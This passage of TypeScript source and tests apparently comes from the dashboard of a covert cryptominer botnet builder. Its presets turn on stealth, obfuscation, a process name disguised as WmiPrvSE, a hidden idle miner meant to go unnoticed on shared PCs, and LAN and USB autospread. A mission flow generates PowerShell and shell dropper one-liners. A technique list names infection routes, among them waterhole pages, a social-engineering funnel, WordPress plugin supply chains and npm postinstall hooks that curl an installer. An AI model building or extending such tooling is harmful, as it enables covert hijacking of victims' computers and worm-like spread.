it('copyMissionLinks writes combined text', async () => {
const writeText = vi.fn().mockResolvedValue(undefined);
vi.stubGlobal('navigator', { clipboard: { writeText } });
const links = buildMissionLinks('http://h', 'b1', 'c1');
await copyMissionLinks(links);
expect(writeText).toHaveBeenCalledWith(links.clipboardText);
});
});

View File

@@ -0,0 +1,155 @@
import type { BuildRequest, BuildResponse } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
import { applyOperationMode, type OperationModeId } from './forgeOperationModes';
import { applySpreadProfile, type SpreadProfileId } from './spreadProfiles';
import {
combinedDropperQuery,
getUrl,
ps1Oneliner,
shOneliner,
} from './emberwake';
export const MISSION_STEPS = ['configure', 'forge', 'export', 'copy'] as const;
export type MissionStep = (typeof MISSION_STEPS)[number] | 'done' | 'error';
export const MISSION_STEP_LABELS: Record<(typeof MISSION_STEPS)[number], string> = {
configure: 'Configure',
forge: 'Forge',
export: 'Export',
copy: 'Copy',
};
export interface MissionLinks {
ps1: string;
sh: string;
get: string;
clipboardText: string;
}
export interface MissionResult {
build: BuildResponse;
links: MissionLinks;
exportSkipped: boolean;
}
export interface MissionApi {
buildAgent: (req: BuildRequest, prepFile?: File | null) => Promise<BuildResponse>;
exportSpreadKit: (req: { build_id: string; server_url: string; campaign: string }) => Promise<void>;
}
export function applyMissionPresets(
form: BuildRequest,
operationMode: OperationModeId,
spreadProfile: SpreadProfileId | '',
): BuildRequest {
let next = applyOperationMode(form, operationMode);
if (spreadProfile) {
next = applySpreadProfile(next, spreadProfile);
}
return normalizeForgeForm(next);
}
export function buildMissionLinks(
serverBase: string,
buildId: string,
campaign: string,
): MissionLinks {
const query = combinedDropperQuery(buildId, campaign);
const ps1 = ps1Oneliner(serverBase, query);
const sh = shOneliner(serverBase, query);
const get = getUrl(serverBase, query);
const clipboardText = [ps1, sh, get].join('\n\n');
return { ps1, sh, get, clipboardText };
}
export function missionStepIndex(step: MissionStep): number {
if (step === 'done' || step === 'error') return MISSION_STEPS.length;
const idx = MISSION_STEPS.indexOf(step as (typeof MISSION_STEPS)[number]);
return idx < 0 ? -1 : idx;
}
export function missionStepStatus(
step: (typeof MISSION_STEPS)[number],
current: MissionStep,
exportSkipped: boolean,
): 'pending' | 'active' | 'done' | 'skipped' | 'error' {
if (current === 'error') {
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'error';
return 'pending';
}
if (step === 'export' && exportSkipped) return 'skipped';
const idx = MISSION_STEPS.indexOf(step);
const curIdx = missionStepIndex(current);
if (curIdx < 0) return 'pending';
if (idx < curIdx) return 'done';
if (idx === curIdx) return 'active';
return 'pending';
}
export async function copyMissionLinks(links: MissionLinks): Promise<void> {
if (typeof navigator !== 'undefined' && navigator.clipboard?.writeText) {
await navigator.clipboard.writeText(links.clipboardText);
return;
}
throw new Error('Clipboard unavailable');
}
export async function runForgeMission(opts: {
form: BuildRequest;
operationMode: OperationModeId;
spreadProfile: SpreadProfileId | '';
campaign: string;
serverBase: string;
fusionPrepFile?: File | null;
api: MissionApi;
onStep?: (step: MissionStep) => void;
cancelToken?: string;
}): Promise<MissionResult> {
const {
form,
operationMode,
spreadProfile,
campaign,
serverBase,
fusionPrepFile,
api,
onStep,
cancelToken,
} = opts;
onStep?.('configure');
const configured = applyMissionPresets(form, operationMode, spreadProfile);
onStep?.('forge');
const build = await api.buildAgent(
{ ...configured, cancel_token: cancelToken },
fusionPrepFile,
);
if (!build.success) {
throw new Error(build.error || 'Build failed');
}
const buildId = build.build_id?.trim();
if (!buildId) {
throw new Error('Build succeeded but no build_id returned');
}
const exportSkipped = !configured.spread_kit;
if (!exportSkipped) {
onStep?.('export');
await api.exportSpreadKit({
build_id: buildId,
server_url: serverBase,
campaign,
});
}
onStep?.('copy');
const links = buildMissionLinks(serverBase, buildId, campaign);
onStep?.('done');
return { build, links, exportSkipped };
}

View File

@@ -0,0 +1,57 @@
import { describe, it, expect } from 'vitest';
import {
MISSION_WIZARD_STEPS,
MISSION_OPERATION_CHIPS,
canAdvanceWizardStep,
missionChipForMode,
nextWizardStep,
operationModeForChip,
prevWizardStep,
wizardPillStatus,
wizardStepIndex,
} from './forgeMissionWizard';
describe('forgeMissionWizard', () => {
it('defines three ritual wizard steps', () => {
expect(MISSION_WIZARD_STEPS).toEqual(['mode', 'profile', 'launch']);
expect(MISSION_OPERATION_CHIPS.map((c) => c.label)).toEqual(['Ghost', 'Loud', 'Spread']);
});
it('maps operation chips to forge modes', () => {
expect(operationModeForChip('ghost')).toBe('ghost_walk');
expect(operationModeForChip('loud')).toBe('open_flame');
expect(operationModeForChip('spread')).toBe('wildfire');
});
it('reverse-maps operation modes to wizard chips', () => {
expect(missionChipForMode('ghost_walk')).toBe('ghost');
expect(missionChipForMode('sigil_mask')).toBe('ghost');
expect(missionChipForMode('open_flame')).toBe('loud');
expect(missionChipForMode('wildfire')).toBe('spread');
expect(missionChipForMode('crucible_storm')).toBe('spread');
});
it('navigates wizard steps forward and back', () => {
expect(nextWizardStep('mode')).toBe('profile');
expect(nextWizardStep('profile')).toBe('launch');
expect(nextWizardStep('launch')).toBeNull();
expect(prevWizardStep('launch')).toBe('profile');
expect(prevWizardStep('profile')).toBe('mode');
expect(prevWizardStep('mode')).toBeNull();
});
it('allows advancing from mode and profile steps', () => {
expect(canAdvanceWizardStep('mode', 'ghost', '')).toBe(true);
expect(canAdvanceWizardStep('profile', 'spread', '')).toBe(true);
expect(canAdvanceWizardStep('profile', 'spread', 'lan_kindling')).toBe(true);
expect(canAdvanceWizardStep('launch', 'ghost', '')).toBe(false);
});
it('tracks wizard pill status for step pills', () => {
expect(wizardPillStatus('mode', 'mode')).toBe('active');
expect(wizardPillStatus('mode', 'profile')).toBe('done');
expect(wizardPillStatus('profile', 'mode')).toBe('pending');
expect(wizardPillStatus('launch', 'launch')).toBe('active');
expect(wizardStepIndex('launch')).toBe(2);
});
});

View File

@@ -0,0 +1,92 @@
import type { OperationModeId } from './forgeOperationModes';
import type { SpreadProfileId } from './spreadProfiles';
export const MISSION_WIZARD_STEPS = ['mode', 'profile', 'launch'] as const;
export type MissionWizardStep = (typeof MISSION_WIZARD_STEPS)[number];
export const MISSION_WIZARD_STEP_LABELS: Record<MissionWizardStep, string> = {
mode: 'Mode',
profile: 'Profile',
launch: 'Launch',
};
export type MissionOperationChip = 'ghost' | 'loud' | 'spread';
export interface MissionOperationChipDef {
id: MissionOperationChip;
label: string;
color: string;
modeId: OperationModeId;
blurb: string;
}
export const MISSION_OPERATION_CHIPS: MissionOperationChipDef[] = [
{
id: 'ghost',
label: 'Ghost',
color: '#6b8cff',
modeId: 'ghost_walk',
blurb: 'Stealth on, hidden display, garble — minimal LAN footprint',
},
{
id: 'loud',
label: 'Loud',
color: '#ff5c5c',
modeId: 'open_flame',
blurb: 'Visible console, logging on — lab testing and debugging',
},
{
id: 'spread',
label: 'Spread',
color: '#ff8c3a',
modeId: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — seed the fleet',
},
];
export function operationModeForChip(chip: MissionOperationChip): OperationModeId {
return MISSION_OPERATION_CHIPS.find((c) => c.id === chip)?.modeId ?? 'ghost_walk';
}
export function missionChipForMode(mode: OperationModeId): MissionOperationChip {
if (mode === 'open_flame') return 'loud';
if (mode === 'wildfire' || mode === 'crucible_storm') return 'spread';
return 'ghost';
}
export function wizardStepIndex(step: MissionWizardStep): number {
return MISSION_WIZARD_STEPS.indexOf(step);
}
export function nextWizardStep(step: MissionWizardStep): MissionWizardStep | null {
const idx = wizardStepIndex(step);
if (idx < 0 || idx >= MISSION_WIZARD_STEPS.length - 1) return null;
return MISSION_WIZARD_STEPS[idx + 1];
}
export function prevWizardStep(step: MissionWizardStep): MissionWizardStep | null {
const idx = wizardStepIndex(step);
if (idx <= 0) return null;
return MISSION_WIZARD_STEPS[idx - 1];
}
export function canAdvanceWizardStep(
step: MissionWizardStep,
chip: MissionOperationChip,
_spreadProfile: SpreadProfileId | '',
): boolean {
if (step === 'mode') return !!chip;
if (step === 'profile') return true;
return false;
}
export function wizardPillStatus(
pill: MissionWizardStep,
current: MissionWizardStep,
): 'pending' | 'active' | 'done' {
const pillIdx = wizardStepIndex(pill);
const curIdx = wizardStepIndex(current);
if (pillIdx < curIdx) return 'done';
if (pillIdx === curIdx) return 'active';
return 'pending';
}

View File

@@ -0,0 +1,113 @@
import { describe, it, expect } from 'vitest';
import {
OPERATION_MODES,
DEFAULT_OPERATION_MODE,
applyOperationMode,
isOperationModeId,
resolveForgeSkin,
skinForOperationMode,
} from './forgeOperationModes';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.1:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'test',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
stealth_mode: false,
display_mode: 'visible',
file_logging: true,
obfuscate: false,
}) as BuildRequest;
describe('forgeOperationModes', () => {
it('exposes six colored aether-themed presets', () => {
expect(OPERATION_MODES).toHaveLength(6);
expect(OPERATION_MODES.map((m) => m.label)).toEqual([
'Ghost Walk',
'Open Flame',
'Sigil Mask',
'Hearth Whisper',
'Wildfire',
'Crucible Storm',
]);
OPERATION_MODES.forEach((m) => expect(m.color).toMatch(/^#/));
expect(DEFAULT_OPERATION_MODE).toBe('ghost_walk');
});
it('maps each operation mode to a forge skin', () => {
expect(OPERATION_MODES.map((m) => m.skin)).toEqual([
'ghost',
'aether',
'halloween',
'aether',
'wildfire',
'crucible',
]);
expect(skinForOperationMode('wildfire')).toBe('wildfire');
expect(skinForOperationMode('sigil_mask')).toBe('halloween');
});
it('resolves skin from operation mode unless theme override is set', () => {
expect(resolveForgeSkin('ghost_walk', 'auto')).toBe('ghost');
expect(resolveForgeSkin('wildfire', 'auto')).toBe('wildfire');
expect(resolveForgeSkin('ghost_walk', 'halloween')).toBe('halloween');
expect(resolveForgeSkin('crucible_storm', 'ghost')).toBe('ghost');
});
it('validates stored mode ids', () => {
expect(isOperationModeId('ghost_walk')).toBe(true);
expect(isOperationModeId('bogus')).toBe(false);
});
it('applies Ghost Walk stealth + garble defaults', () => {
const next = applyOperationMode(baseForm(), 'ghost_walk');
expect(next.stealth_mode).toBe(true);
expect(next.display_mode).toBe('background');
expect(next.file_logging).toBe(false);
expect(next.obfuscate).toBe(true);
expect(next.fusion_enabled).toBe(false);
});
it('applies Open Flame visible testing profile', () => {
const next = applyOperationMode(baseForm(), 'open_flame');
expect(next.stealth_mode).toBe(false);
expect(next.display_mode).toBe('visible');
expect(next.file_logging).toBe(true);
expect(next.obfuscate).toBe(false);
});
it('applies Sigil Mask obfuscation + disguised process', () => {
const next = applyOperationMode(baseForm(), 'sigil_mask');
expect(next.obfuscate).toBe(true);
expect(next.sigil_scramble).toBe(true);
expect(next.process_name).toBe('WmiPrvSE');
expect(next.fusion_enabled).toBe(false);
});
it('applies Hearth Whisper idle low-footprint caps', () => {
const next = applyOperationMode(baseForm(), 'hearth_whisper');
expect(next.mining_mode).toBe('idle');
expect(next.max_cpu_usage_pct).toBe(45);
expect(next.thread_percent).toBe(50);
expect(next.stealth_mode).toBe(true);
});
it('applies Wildfire spread-ready flags', () => {
const next = applyOperationMode(baseForm(), 'wildfire');
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.usb_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('applies Crucible Storm aggressive remote ops', () => {
const next = applyOperationMode(baseForm(), 'crucible_storm');
expect(next.remote_aggressive).toBe(true);
expect(next.hole_punch).toBe(true);
expect(next.mesh_p2p).toBe(true);
});
});

View File

@@ -0,0 +1,217 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
export type OperationModeId =
| 'ghost_walk'
| 'open_flame'
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
| 'crucible_storm';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
export type ForgeThemeOverride = ForgeSkinId | 'auto';
export interface OperationMode {
id: OperationModeId;
label: string;
color: string;
skin: ForgeSkinId;
blurb: string;
apply: (form: BuildRequest) => BuildRequest;
}
export const OPERATION_MODE_STORAGE_KEY = 'aetherforge-operation-mode';
export const FORGE_THEME_STORAGE_KEY = 'aetherforge-forge-theme';
export const FORGE_THEME_EVENT = 'aetherforge-forge-theme';
export const DEFAULT_OPERATION_MODE: OperationModeId = 'ghost_walk';
export const FORGE_SKIN_IDS: ForgeSkinId[] = ['aether', 'halloween', 'ghost', 'wildfire', 'crucible'];
export function isForgeSkinId(value: string): value is ForgeSkinId {
return FORGE_SKIN_IDS.includes(value as ForgeSkinId);
}
export function forgeSkinClassName(skin: ForgeSkinId): string {
return `forge-skin--${skin}`;
}
export function skinForOperationMode(id: OperationModeId): ForgeSkinId {
const mode = OPERATION_MODES.find((m) => m.id === id);
return mode?.skin ?? 'aether';
}
export const OPERATION_MODES: OperationMode[] = [
{
id: 'ghost_walk',
label: 'Ghost Walk',
color: '#4d7fff',
skin: 'ghost',
blurb: 'Stealth on, hidden display, garble on, no file logs — minimal LAN footprint',
apply: (f) => ({
...f,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
obfuscate: true,
sigil_scramble: true,
fusion_enabled: false,
spread_kit: false,
remote_aggressive: false,
auto_spread: false,
usb_spread: false,
share_spread: false,
hole_punch: false,
}),
},
{
id: 'open_flame',
label: 'Open Flame',
color: '#ff5c5c',
skin: 'aether',
blurb: 'Visible console, logging on, no garble — for lab testing and debugging',
apply: (f) => ({
...f,
stealth_mode: false,
display_mode: 'visible',
silent_mode: false,
file_logging: true,
obfuscate: false,
sigil_scramble: false,
}),
},
{
id: 'sigil_mask',
label: 'Sigil Mask',
color: '#b794f6',
skin: 'halloween',
blurb: 'Garble + Sigil scramble, disguised process name, fusion off — hardened obfuscation',
apply: (f) => ({
...f,
obfuscate: true,
sigil_scramble: true,
process_name: 'WmiPrvSE',
fusion_enabled: false,
spread_kit: false,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
}),
},
{
id: 'hearth_whisper',
label: 'Hearth Whisper',
color: '#4ade80',
skin: 'aether',
blurb: 'Hidden idle miner with low CPU cap — barely noticeable on shared PCs',
apply: (f) => ({
...f,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
mining_mode: 'idle',
idle_threshold_pct: 25,
max_cpu_usage_pct: 45,
thread_mode: 'percent',
thread_percent: 50,
fusion_enabled: false,
remote_aggressive: false,
}),
},
{
id: 'wildfire',
label: 'Wildfire',
color: '#ff8c3a',
skin: 'wildfire',
blurb: 'Universal spread kit + LAN/USB autospread — ready to seed the fleet',
apply: (f) => ({
...f,
spread_kit: true,
fusion_enabled: false,
target_os: 'universal',
target_arch: 'all',
auto_spread: true,
usb_spread: true,
share_spread: true,
stealth_mode: true,
display_mode: 'background',
silent_mode: true,
file_logging: false,
}),
},
{
id: 'crucible_storm',
label: 'Crucible Storm',
color: '#d4af37',
skin: 'crucible',
blurb: 'Aggressive remote ops + hole punch enabled for Crucible command sessions',
apply: (f) => ({
...f,
remote_aggressive: true,
hole_punch: true,
mesh_p2p: true,
}),
},
];
export function isOperationModeId(value: string): value is OperationModeId {
return OPERATION_MODES.some((m) => m.id === value);
}
export function loadStoredOperationMode(): OperationModeId {
try {
const v = localStorage.getItem(OPERATION_MODE_STORAGE_KEY);
if (v && isOperationModeId(v)) return v;
} catch {
/* ignore */
}
return DEFAULT_OPERATION_MODE;
}
export function storeOperationMode(id: OperationModeId): void {
try {
localStorage.setItem(OPERATION_MODE_STORAGE_KEY, id);
} catch {
/* ignore */
}
}
export function applyOperationMode(form: BuildRequest, id: OperationModeId): BuildRequest {
const mode = OPERATION_MODES.find((m) => m.id === id);
return mode ? normalizeForgeForm(mode.apply(form)) : form;
}
export function loadStoredForgeTheme(): ForgeThemeOverride {
try {
const v = localStorage.getItem(FORGE_THEME_STORAGE_KEY);
if (v === 'auto') return 'auto';
if (v && isForgeSkinId(v)) return v;
} catch {
/* ignore */
}
return 'auto';
}
export function storeForgeTheme(theme: ForgeThemeOverride): void {
try {
localStorage.setItem(FORGE_THEME_STORAGE_KEY, theme);
window.dispatchEvent(new CustomEvent(FORGE_THEME_EVENT));
} catch {
/* ignore */
}
}
export function resolveForgeSkin(
operationModeId: OperationModeId,
themeOverride?: ForgeThemeOverride
): ForgeSkinId {
const override = themeOverride ?? loadStoredForgeTheme();
if (override !== 'auto') return override;
return skinForOperationMode(operationModeId);
}

View File

@@ -0,0 +1,45 @@
import { describe, it, expect } from 'vitest';
import { resolvePageWeather, PAGE_WEATHER, DEFAULT_PAGE_WEATHER } from './pageWeather';
describe('pageWeather', () => {
it('resolves forge and mission deck to full glow', () => {
expect(resolvePageWeather('/forge').vibe).toBe('forge-glow');
expect(resolvePageWeather('/forge').intensity).toBe(1);
expect(resolvePageWeather('/mission-deck').vibe).toBe('forge-glow');
});
it('resolves crucible to slower embers', () => {
const w = resolvePageWeather('/crucible');
expect(w.vibe).toBe('crucible-embers');
expect(w.speed).toBeLessThan(0.5);
expect(w.palette).toBe('crucible');
});
it('resolves emberwake with campaign pulse', () => {
const w = resolvePageWeather('/emberwake');
expect(w.vibe).toBe('emberwake-pulse');
expect(w.energyPulse).toBe(true);
expect(w.palette).toBe('campaign');
});
it('resolves settings to dim starfield', () => {
const w = resolvePageWeather('/settings');
expect(w.vibe).toBe('starfield-dim');
expect(w.intensity).toBeLessThan(0.3);
expect(w.palette).toBe('dim');
});
it('resolves fleet and dashboard to medium drift', () => {
expect(resolvePageWeather('/agents').vibe).toBe('medium-drift');
expect(resolvePageWeather('/dashboard').vibe).toBe('medium-drift');
});
it('strips trailing slash and query', () => {
expect(resolvePageWeather('/crucible/')).toEqual(PAGE_WEATHER['/crucible']);
expect(resolvePageWeather('/dashboard?tab=fleet')).toEqual(PAGE_WEATHER['/dashboard']);
});
it('falls back to default for unknown routes', () => {
expect(resolvePageWeather('/unknown')).toEqual(DEFAULT_PAGE_WEATHER);
});
});

View File

@@ -0,0 +1,228 @@
/** Route → ambient 3D weather (particle glow, drift, palette). Mirrors ambientMusic page map. */
export type WeatherVibe =
| 'forge-glow'
| 'crucible-embers'
| 'emberwake-pulse'
| 'starfield-dim'
| 'medium-drift';
export type WeatherPalette = 'default' | 'crucible' | 'campaign' | 'dim';
export interface PageWeatherConfig {
vibe: WeatherVibe;
/** 01 overall particle glow strength */
intensity: number;
/** Velocity multiplier */
speed: number;
/** Pulse / twinkle rate multiplier */
pulse: number;
/** Particle density multiplier */
density: number;
/** Constellation link strength 01 */
linkStrength: number;
/** CSS grid / sacred-geo layer opacity */
layerOpacity: number;
/** Orb float animation duration (seconds; higher = slower) */
orbDrift: number;
/** Grid drift animation duration (seconds) */
gridDrift: number;
palette: WeatherPalette;
/** Campaign-energy sine pulse on emberwake routes */
energyPulse?: boolean;
}
export const DEFAULT_PAGE_WEATHER: PageWeatherConfig = {
vibe: 'medium-drift',
intensity: 0.65,
speed: 0.5,
pulse: 0.65,
density: 0.72,
linkStrength: 0.7,
layerOpacity: 0.55,
orbDrift: 14,
gridDrift: 48,
palette: 'default',
};
/** Route → weather profile. Prefix match for nested paths. */
export const PAGE_WEATHER: Record<string, PageWeatherConfig> = {
'/forge': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1,
density: 1,
linkStrength: 1,
layerOpacity: 0.6,
orbDrift: 12,
gridDrift: 40,
palette: 'default',
},
'/builder': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1,
density: 1,
linkStrength: 1,
layerOpacity: 0.6,
orbDrift: 12,
gridDrift: 40,
palette: 'default',
},
'/mission-deck': {
vibe: 'forge-glow',
intensity: 1,
speed: 1,
pulse: 1.05,
density: 1,
linkStrength: 1,
layerOpacity: 0.62,
orbDrift: 11,
gridDrift: 38,
palette: 'default',
},
'/crucible': {
vibe: 'crucible-embers',
intensity: 0.75,
speed: 0.32,
pulse: 0.45,
density: 0.85,
linkStrength: 0.45,
layerOpacity: 0.5,
orbDrift: 22,
gridDrift: 72,
palette: 'crucible',
},
'/emberwake': {
vibe: 'emberwake-pulse',
intensity: 0.85,
speed: 0.55,
pulse: 1.6,
density: 0.9,
linkStrength: 0.75,
layerOpacity: 0.58,
orbDrift: 9,
gridDrift: 36,
palette: 'campaign',
energyPulse: true,
},
'/spread': {
vibe: 'emberwake-pulse',
intensity: 0.85,
speed: 0.55,
pulse: 1.6,
density: 0.9,
linkStrength: 0.75,
layerOpacity: 0.58,
orbDrift: 9,
gridDrift: 36,
palette: 'campaign',
energyPulse: true,
},
'/settings': {
vibe: 'starfield-dim',
intensity: 0.22,
speed: 0.15,
pulse: 0.35,
density: 0.45,
linkStrength: 0.12,
layerOpacity: 0.28,
orbDrift: 36,
gridDrift: 120,
palette: 'dim',
},
'/agents': {
vibe: 'medium-drift',
intensity: 0.68,
speed: 0.55,
pulse: 0.7,
density: 0.75,
linkStrength: 0.72,
layerOpacity: 0.52,
orbDrift: 15,
gridDrift: 50,
palette: 'default',
},
'/dashboard': {
vibe: 'medium-drift',
intensity: 0.65,
speed: 0.5,
pulse: 0.65,
density: 0.72,
linkStrength: 0.7,
layerOpacity: 0.55,
orbDrift: 14,
gridDrift: 48,
palette: 'default',
},
'/builds': {
vibe: 'medium-drift',
intensity: 0.55,
speed: 0.45,
pulse: 0.6,
density: 0.65,
linkStrength: 0.6,
layerOpacity: 0.48,
orbDrift: 16,
gridDrift: 54,
palette: 'default',
},
'/pathtracer': {
vibe: 'starfield-dim',
intensity: 0.35,
speed: 0.25,
pulse: 0.4,
density: 0.5,
linkStrength: 0.2,
layerOpacity: 0.32,
orbDrift: 28,
gridDrift: 90,
palette: 'dim',
},
};
export function resolvePageWeather(pathname: string): PageWeatherConfig {
const path = pathname.split('?')[0].replace(/\/$/, '') || '/';
if (PAGE_WEATHER[path] !== undefined) {
return PAGE_WEATHER[path];
}
for (const [prefix, weather] of Object.entries(PAGE_WEATHER)) {
if (prefix !== '/' && path.startsWith(prefix)) return weather;
}
return DEFAULT_PAGE_WEATHER;
}
export type GlowColor = {
core: string;
mid: string;
line: string;
};
export const WEATHER_PALETTES: Record<WeatherPalette, readonly GlowColor[]> = {
default: [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
],
crucible: [
{ core: 'rgba(212, 175, 55, 0.9)', mid: 'rgba(212, 175, 55, 0.28)', line: 'rgba(212, 175, 55, 0.14)' },
{ core: 'rgba(232, 93, 74, 0.78)', mid: 'rgba(232, 93, 74, 0.22)', line: 'rgba(232, 93, 74, 0.1)' },
{ core: 'rgba(255, 140, 58, 0.82)', mid: 'rgba(255, 140, 58, 0.24)', line: 'rgba(255, 140, 58, 0.11)' },
{ core: 'rgba(180, 90, 40, 0.72)', mid: 'rgba(180, 90, 40, 0.2)', line: 'rgba(180, 90, 40, 0.09)' },
],
campaign: [
{ core: 'rgba(255, 95, 25, 0.92)', mid: 'rgba(255, 95, 25, 0.3)', line: 'rgba(255, 95, 25, 0.14)' },
{ core: 'rgba(255, 176, 32, 0.85)', mid: 'rgba(255, 176, 32, 0.26)', line: 'rgba(255, 176, 32, 0.12)' },
{ core: 'rgba(255, 55, 90, 0.7)', mid: 'rgba(255, 55, 90, 0.2)', line: 'rgba(255, 55, 90, 0.09)' },
{ core: 'rgba(0, 220, 255, 0.55)', mid: 'rgba(0, 220, 255, 0.16)', line: 'rgba(0, 220, 255, 0.08)' },
],
dim: [
{ core: 'rgba(190, 200, 230, 0.42)', mid: 'rgba(190, 200, 230, 0.12)', line: 'rgba(190, 200, 230, 0.05)' },
{ core: 'rgba(130, 150, 190, 0.32)', mid: 'rgba(130, 150, 190, 0.1)', line: 'rgba(130, 150, 190, 0.04)' },
{ core: 'rgba(201, 162, 39, 0.22)', mid: 'rgba(201, 162, 39, 0.08)', line: 'rgba(201, 162, 39, 0.03)' },
{ core: 'rgba(0, 245, 255, 0.18)', mid: 'rgba(0, 245, 255, 0.06)', line: 'rgba(0, 245, 255, 0.03)' },
],
};

View File

@@ -0,0 +1,14 @@
import { describe, expect, it } from 'vitest';
import { presenceActivityLine, presencePageLabel } from './presencePages';
describe('presencePages', () => {
it('maps known routes to war-room labels', () => {
expect(presencePageLabel('/crucible')).toBe('Crucible');
expect(presencePageLabel('/emberwake')).toBe('Emberwake');
expect(presencePageLabel('forge')).toBe('Forge');
});
it('formats activity line for status bar', () => {
expect(presenceActivityLine('india', '/crucible')).toBe('india is in Crucible');
});
});

View File

@@ -0,0 +1,23 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record<string, string> = {
'/dashboard': 'Command Deck',
'/agents': 'Fleet Roster',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',
'/mission-deck': 'Mission Deck',
'/builds': 'Builds',
'/emberwake': 'Emberwake',
'/spread': 'Emberwake',
'/settings': 'Calibrate',
'/pathtracer': 'Path Tracer',
};
export function presencePageLabel(path: string): string {
const normalized = path.startsWith('/') ? path : `/${path}`;
return PAGE_LABELS[normalized] ?? (normalized.replace(/^\//, '') || 'Dashboard');
}
export function presenceActivityLine(user: string, page: string): string {
return `${user} is in ${presencePageLabel(page)}`;
}

View File

@@ -0,0 +1,39 @@
import { describe, it, expect } from 'vitest';
import { SPREAD_PROFILES, applySpreadProfile } from './spreadProfiles';
import type { BuildRequest } from '../types';
const baseForm = (): BuildRequest =>
({
server_url: 'http://192.168.1.1:8989',
wallet: '4' + 'A'.repeat(94),
worker_name: 'test',
threads: 2,
target_os: 'windows',
target_arch: 'amd64',
}) as BuildRequest;
describe('spreadProfiles', () => {
it('exposes four colored presets', () => {
expect(SPREAD_PROFILES).toHaveLength(4);
expect(SPREAD_PROFILES.map((p) => p.label)).toEqual([
'Web Drop',
'Desktop Fusion',
'LAN Kindling',
'Crucible Ops',
]);
SPREAD_PROFILES.forEach((p) => expect(p.color).toMatch(/^#/));
});
it('applies LAN Kindling spread kit flags', () => {
const next = applySpreadProfile(baseForm(), 'lan_kindling');
expect(next.spread_kit).toBe(true);
expect(next.auto_spread).toBe(true);
expect(next.target_os).toBe('universal');
});
it('applies Crucible Ops aggressive remote', () => {
const next = applySpreadProfile(baseForm(), 'crucible_ops');
expect(next.remote_aggressive).toBe(true);
expect(next.hole_punch).toBe(true);
});
});

View File

@@ -0,0 +1,29 @@
import { describe, it, expect } from 'vitest';
import {
EMBERWAKE_TECHNIQUE_LINKS,
SPREAD_TECHNIQUES_DOC,
spreadTechniqueDocUrl,
} from './spreadTechniques';
describe('spreadTechniques', () => {
it('builds doc URLs with optional anchors', () => {
expect(spreadTechniqueDocUrl()).toBe(SPREAD_TECHNIQUES_DOC);
expect(spreadTechniqueDocUrl('technique-matrix')).toBe(
'/docs/SPREAD_TECHNIQUES.md#technique-matrix',
);
});
it('maps Emberwake bullets to playbook sections', () => {
expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(7);
expect(EMBERWAKE_TECHNIQUE_LINKS[0].anchor).toBeTruthy();
});
it('links wiki-only techniques to /docs/', () => {
expect(spreadTechniqueDocUrl('wordpress-plugin-supply-chain', true)).toBe(
'/docs/#wordpress-plugin-supply-chain',
);
expect(spreadTechniqueDocUrl('npm-postinstall-helper', true)).toBe(
'/docs/#npm-postinstall-helper',
);
});
});

View File

@@ -0,0 +1,61 @@
/** Links into docs/SPREAD_TECHNIQUES.md (served at /docs/SPREAD_TECHNIQUES.md). */
export const SPREAD_TECHNIQUES_DOC = '/docs/SPREAD_TECHNIQUES.md';
export interface EmberwakeTechniqueLink {
/** Short label shown in Emberwake UI */
label: string;
/** Markdown heading anchor in SPREAD_TECHNIQUES.md or wiki section id */
anchor: string;
/** One-line operator hint */
hint: string;
/** When set, link targets /docs/#anchor instead of SPREAD_TECHNIQUES.md */
wiki?: boolean;
}
/** Maps Emberwake “how to spread” bullets to playbook sections. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
{
label: 'Web waterhole',
anchor: 'owned-site-you-control-origin',
hint: 'Dropper landing page, spread-kit ZIP on owned origin',
},
{
label: 'curl | bash VPS',
anchor: 'server-specific-endpoints-linuxmacoswindows-servers',
hint: 'install.sh / install.ps1 one-liners on headless servers',
},
{
label: 'Fusion media',
anchor: 'owned-site-you-control-origin',
hint: 'Fusion bundle as codec/tool download — pair with Desktop Fusion preset',
},
{
label: 'LAN kindling',
anchor: 'five-recommended-plays--sites-you-own',
hint: 'Universal spread kit + autospread — LAN Kindling forge preset',
},
{
label: 'A/B droppers',
anchor: 'social-engineering-funnel-email--ads--site--file',
hint: 'Campaign ?c= tags + pin build A vs B between waves',
},
{
label: 'WordPress plugin',
anchor: 'wordpress-plugin-supply-chain',
hint: 'Operator-owned plugin ZIP — /get?c=wp-{site} on your WP host',
wiki: true,
},
{
label: 'npm postinstall',
anchor: 'npm-postinstall-helper',
hint: 'Private package template — postinstall curls your install.sh',
wiki: true,
},
];
export function spreadTechniqueDocUrl(anchor?: string, wiki = false): string {
if (wiki && anchor) return `/docs/#${anchor}`;
